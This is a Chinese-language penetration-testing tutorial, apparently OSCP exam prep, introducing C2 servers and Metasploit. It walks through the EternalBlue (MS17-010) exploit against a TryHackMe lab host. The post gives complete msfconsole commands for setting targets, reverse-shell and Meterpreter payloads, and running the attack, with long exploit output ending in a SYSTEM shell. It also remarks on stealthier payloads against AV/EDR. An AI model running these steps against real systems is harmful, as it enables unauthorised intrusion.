滲透測試重新打底(6)--Metasploit與Port Forwarding簡介


Posted by kahatrix on 2023-09-22

Metasploit 簡介

C2的全名叫做Command Control,作用是當你今天可能有拿到一個 shell,但單單一個 shell不是很穩定,才會有發展出像是 Metasploit或者是 Cobalt Strike,我們叫 Command Control 的 server。那這些 server的設計方法是給你一個遠端的 agent,比如說Cobalt Strike 的 beacon,或者是 Metasploit 底下的msfvenom所產生的 EXE 檔案,都可以算是一個 agent。要把這個 agent 放在受害端,然後在受害端去執行,讓這個受害端能夠發起一個跟 server(可能是你的攻擊端、你的 Kali 或者是你個人的 C2 server)的連線。然後再去對這個 server下指令,讓 client 端,也就是受害者端執行一些 command,或者是你要下載資料或是上傳檔案,都可以透過這種 C2 來完成。比如說惡意程式分析好了,我們會想要知道他連到遠端的 IP 是什麼,通常這個 IP 就是一個 C2 。

在講 Metasploit 之前要先提一下,在這個 OSCP 考試有明定了說你只能用一次的 Metasploit,應該說是只能針對一台來使用 Metasploit。如果你選擇了那一台,不論成功失敗,你就是只能用這一台。但是Metasploit 底下有一些工具是不受這個限制的,分別是這個 Multi-Handler、 msfvenom、Pattern Create 跟 Pattern Offset。第三個跟第四個是之後的Windows Buffer Overflow 上面會介紹。

Metasploit 的使用時機通常是你確定自己要做什麼才會使用的工具。因為Metasploit有很多個 Module,第一個他可以做更深的枚舉,或者是他可以拿來攻擊已知的漏洞,以及針對Privilege Escalation,Metasploit 裡面都有 Module,可以提供你做比較方便的攻擊。但是在用 Metasploit 之前,我們都必須要對目標就是非常了解,確定說我們要做哪一個 Module才能用 Metasploit,這樣會比較穩定。一方面是說考試的時候有限制,那另外一件事情是如果你隨便拿了一個 Module胡亂攻擊的話,其實很容易被 WAF 或者是防火牆給抓到,直接把你 IP 給 BAN 掉。也有很多像是 SOC或是 IPS/IDS 這種設備,裡面的 Rule 其實都有寫針對 Metasploit 的 Payload。因為Metasploit最久嘛,大家都有在用,所以通常就是先擋 Metasploit。

Metasploit 他下面有很多個 Module,包含了 Reconnaissance, Exploit,還有提權、Meterpreter, msvenom、 Port Forwarding。因為要 Demo 一下 Metasploit 的用法,我們會使用 TryHackMe 的 Blue 這一個房間。

打開 Metasploit 很簡單,msfconsole就可以打開這個 Metasploit:

┌──(root㉿kali)-[~]
└─# msfconsole

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.3.21-dev                          ]
+ -- --=[ 2327 exploits - 1218 auxiliary - 413 post       ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use the resource command to run
commands from a file
Metasploit Documentation: https://docs.metasploit.com/

msf6 >

我們先來介紹一個簡單的 Exploit以及 Metasploit所提供的 Search Function。舉例來說我們今天想要使用這個 MS17-010,那 Metasploit 有提供了這個 Search 的 Function,我們可以在這上面直接打:

msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 >

那這邊就可以看到說有這樣的一些 Module 出現,那這邊的 Name 就是我們等一下我們選定我們要 Module 的路徑。假設我們要直接用這個永恆之藍,那我們的語法就是 Use,然後直接接上在這邊出現的這一串文字:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

當我們選定了一個 Module 之後,可以輸入 Options來看說有哪些Config,像是 Remote Host、Remote Port以及Local Host、Local Port。

msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                             metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only a
                                             ffects Windows Server 2008 R2, Windows 7, Windows Embedded Stan
                                             dard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affec
                                             ts Windows Server 2008 R2, Windows 7, Windows Embedded Standard
                                              7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows
                                              Server 2008 R2, Windows 7, Windows Embedded Standard 7 target
                                             machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.18.193   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

TryHackMe 這個 Lab其實已經已知他的漏洞就是永恆之藍,然後我們可以用 Set這個語法來設定:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.206.116
rhosts => 10.10.206.116
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.18.71.25
lhost => 10.18.71.25

lhost是我們攻擊端,也就是我們這個 Kali Machine的 IP Address,Config 看一下,通常是 TUN0 或 TUN1,就是我們的 VPN 的 IP:

這邊提供一個小技巧,如果你今天可能會用不只一種Module,但是你的目標都是同一個,你可以用setg,這個 G 是 Global,就 Set Global,他的好處是如果你今天想要不同的 Module攻打同一個目標,你就可以用這個setg,會自動代入同一個rhosts。當然你也可以用setg 在你的 Local Host跟 Local Port 上面,可以省去一點點時間。

msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.206.116
rhosts => 10.10.206.116

在 Option 的地方還有一件事情要注意,我們的 Payload預設的是windows/x64/meterpreter/reverse_tcp。跟大家介紹一些常見的,比如說如果你是32 位元,就不會有這個 x64 這個多一層資料夾。下一個,如果說你不要用 Meterpreter 當你接收Shell 的方法的話,你也可以在這邊用 Shell然後一樣是 Reverse TCP:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

我們也可以在Reverse TCP 上面做改變,常見的比如說有bind_tcp,Bind就是 Bind Shell。那我們也比較常使用的,像是 Reverse HTTPS,因為它是有TLS加密,所以通常你的防毒軟體或者是EDR在監看的時候,所耗的資源會比較大,隱蔽性相對來說也會比較好。

要看所有 Payload 的話可以打 Show Payloads:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                                   normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/ssh/interact                                         normal  No     Interact with Established SSH Connection
   5   payload/windows/x64/custom/bind_ipv6_tcp                             normal  No     Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager
   6   payload/windows/x64/custom/bind_ipv6_tcp_uuid                        normal  No     Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support
   7   payload/windows/x64/custom/bind_named_pipe                           normal  No     Windows shellcode stage, Windows x64 Bind Named Pipe Stager
   8   payload/windows/x64/custom/bind_tcp                                  normal  No     Windows shellcode stage, Windows x64 Bind TCP Stager
   9   payload/windows/x64/custom/bind_tcp_rc4                              normal  No     Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   10  payload/windows/x64/custom/bind_tcp_uuid                             normal  No     Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)
   11  payload/windows/x64/custom/reverse_http                              normal  No     Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
   12  payload/windows/x64/custom/reverse_https                             normal  No     Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/custom/reverse_named_pipe                        normal  No     Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager
   14  payload/windows/x64/custom/reverse_tcp                               normal  No     Windows shellcode stage, Windows x64 Reverse TCP Stager
   15  payload/windows/x64/custom/reverse_tcp_rc4                           normal  No     Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   16  payload/windows/x64/custom/reverse_tcp_uuid                          normal  No     Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)
   17  payload/windows/x64/custom/reverse_winhttp                           normal  No     Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)
   18  payload/windows/x64/custom/reverse_winhttps                          normal  No     Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)
   19  payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   20  payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   21  payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   22  payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   23  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   24  payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   25  payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   26  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   27  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   28  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   29  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   30  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   31  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   32  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   33  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   34  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   35  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   36  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   37  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   38  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   39  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   40  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   43  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   44  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   45  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   46  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   47  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   48  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   49  payload/windows/x64/powershell_reverse_tcp_ssl                       normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   50  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   51  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   52  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   53  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   54  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   55  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   56  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   57  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   58  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   59  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   60  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   61  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   62  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   63  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   64  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   65  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   66  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   67  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   68  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   69  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   70  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   71  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   72  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   73  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

剛剛有提到的 Shell以及其他的 Payload,像是這個 VNC Inject這些 Payload Option,其實是根據你的Exploit Module 而決定的。比如說我這邊是 Windows 攻擊,所以這邊才會出現所有 Windows 相對應的 Payload。如果你今天是 Linux 攻擊,它也相對應會是 Linux 的 Payload。

那我們這邊把 Payload 改一下,改的方法是 Set Payload然後是Windows、 x64然後我們用一個簡單的 Shell 就好,那我們可以嘗試發動攻擊,發動攻擊你可以用Exploit 或是 run,兩個都一樣:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.18.71.25:4444
[*] 10.10.206.116:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.206.116:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.206.116:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.206.116:445 - The target is vulnerable.
[*] 10.10.206.116:445 - Connecting to target for exploitation.
[+] 10.10.206.116:445 - Connection established for exploitation.
[+] 10.10.206.116:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.116:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.116:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.116:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.206.116:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.206.116:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.116:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.206.116:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.116:445 - Starting non-paged pool grooming
[+] 10.10.206.116:445 - Sending SMBv2 buffers
[+] 10.10.206.116:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.116:445 - Sending final SMBv2 buffers.
[*] 10.10.206.116:445 - Sending last fragment of exploit packet!
[*] 10.10.206.116:445 - Receiving response from exploit packet
[+] 10.10.206.116:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.116:445 - Sending egg to corrupted connection.
[*] 10.10.206.116:445 - Triggering free of corrupted buffer.
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.206.116:445 - Connecting to target for exploitation.
[+] 10.10.206.116:445 - Connection established for exploitation.
[+] 10.10.206.116:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.116:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.116:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.116:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.206.116:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.206.116:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.116:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.206.116:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.116:445 - Starting non-paged pool grooming
[+] 10.10.206.116:445 - Sending SMBv2 buffers
[+] 10.10.206.116:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.116:445 - Sending final SMBv2 buffers.
[*] 10.10.206.116:445 - Sending last fragment of exploit packet!
[*] 10.10.206.116:445 - Receiving response from exploit packet
[+] 10.10.206.116:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.116:445 - Sending egg to corrupted connection.
[*] 10.10.206.116:445 - Triggering free of corrupted buffer.
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.206.116:445 - Connecting to target for exploitation.
[+] 10.10.206.116:445 - Connection established for exploitation.
[+] 10.10.206.116:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.116:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.116:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.116:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.206.116:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.206.116:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.116:445 - Trying exploit with 22 Groom Allocations.
[*] 10.10.206.116:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.116:445 - Starting non-paged pool grooming
[+] 10.10.206.116:445 - Sending SMBv2 buffers
[+] 10.10.206.116:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.116:445 - Sending final SMBv2 buffers.
[*] 10.10.206.116:445 - Sending last fragment of exploit packet!
[*] 10.10.206.116:445 - Receiving response from exploit packet
[+] 10.10.206.116:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.116:445 - Sending egg to corrupted connection.
[*] 10.10.206.116:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.206.116
[*] Command shell session 1 opened (10.18.71.25:4444 -> 10.10.206.116:49229) at 2023-08-02 12:20:24 -0400
[+] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----


C:\Windows\system32>

這個地方大家一定要注意一下,當你發動攻擊之後這邊它會說你開了一個 Reverse TCP Handler,它其實就是一個監聽模式,等於說我們不需要自己開一個 Netcat 去監聽,Metasploit 已經幫你開好了。再來要注意的是你的這個 IP 對不對,有時候大家可能會設定錯。比如說它的這個 L host或是 L port 設定錯,所以在這個地方它等於是多了一道檢查機制,讓你可以看說是不是正確的。

好,這邊是成功了,我們就可以它這樣子 shell 然後打進來,可以看到說如果通常你這個Windows System 32 的話,通常代表是最高權限,那最高權限的話就會出現Nt Authority System這樣的一個帳號:

C:\Windows\system32>whoami
whoami
nt authority\system

接下來我們想要講一下Meterpreter 的部分,要改成 Meterpreter 的 shell的話,我們可以在這個 Set Payload 的地方把它改成 Meterpreter,然後我們也是 Reverse TCP。最好養成好習慣,當你每改一下,都要按 Show Options確保說你的東西是對的。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.206.116    yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                             metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only a
                                             ffects Windows Server 2008 R2, Windows 7, Windows Embedded Stan
                                             dard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affec
                                             ts Windows Server 2008 R2, Windows 7, Windows Embedded Standard
                                              7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows
                                              Server 2008 R2, Windows 7, Windows Embedded Standard 7 target
                                             machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.18.71.25      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

這邊給大家一個建議,如果你這邊用的 Meterpreter的話,你的這個Payload options的 Exit Function最好可以不要用Thread,可以把它改成 Process。差別是當這個攻擊在注入的時候,它會新開一個 Process給你的 Meterpreter,如果是 Thread 的話,它是直接綁定在RDP 上面。像我剛剛這邊 Ctrl + C 跳出來之後,如果我是用Thread 的話,它有可能會被一併給關掉,但是 Process 的話,等於是說它關的是MetaSploit 新開的 Process,所以穩定性相對來說會比較好。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set exitfunc process
exitfunc => process
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.18.71.25:4444
[*] 10.10.206.116:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.206.116:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.206.116:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.206.116:445 - The target is vulnerable.
[*] 10.10.206.116:445 - Connecting to target for exploitation.
[+] 10.10.206.116:445 - Connection established for exploitation.
[+] 10.10.206.116:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.116:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.116:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.116:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.206.116:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.206.116:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.116:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.206.116:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.116:445 - Starting non-paged pool grooming
[+] 10.10.206.116:445 - Sending SMBv2 buffers
[+] 10.10.206.116:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.116:445 - Sending final SMBv2 buffers.
[*] 10.10.206.116:445 - Sending last fragment of exploit packet!
[*] 10.10.206.116:445 - Receiving response from exploit packet
[+] 10.10.206.116:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.116:445 - Sending egg to corrupted connection.
[*] 10.10.206.116:445 - Triggering free of corrupted buffer.
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.10.206.116:445 - Connecting to target for exploitation.
[+] 10.10.206.116:445 - Connection established for exploitation.
[+] 10.10.206.116:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.206.116:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.206.116:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.206.116:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
